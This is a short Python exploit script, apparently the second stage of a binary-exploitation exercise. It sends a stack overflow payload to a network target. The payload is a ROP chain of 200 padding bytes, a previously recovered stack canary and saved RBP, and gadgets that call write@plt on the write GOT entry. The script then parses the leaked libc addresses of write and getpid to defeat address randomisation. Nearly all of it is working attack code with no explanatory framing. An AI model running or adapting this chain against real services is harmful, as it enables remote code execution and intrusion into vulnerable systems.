brute_address_part2.py

pop_rdi     = BIN_BASE + 0x001643
pop_rsi_r15 = BIN_BASE + 0x001641
ret_gad     = BIN_BASE + 0x1306

write_plt   = BIN_BASE + 0x1060
write_got   = BIN_BASE + 0x4030


buf = b'A'*200
buf+= p64(CANARY)
buf+= p64(RBP)
buf+= p64(pop_rsi_r15)                      # just load address of write_got into rsi, rdi and rdx are already filled
buf+= p64(write_got)*2                      # 2 times for r15
buf+= p64(write_plt)                        # call write
buf+= p64(RET)                              # continue execution normally

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(TRGT)
s.recv(1024)
s.send(buf)
ret = s.recv(1024)
print(ret[:128])

libc_write  = u64(ret[:8])                  # first 8 bytes will be liibc address of write
libc_getpid = u64(ret[8:16])
print("[*] Leaked libc write:\t",hex(libc_write))
print("[*] Leaked libc getpid:\t",hex(libc_getpid))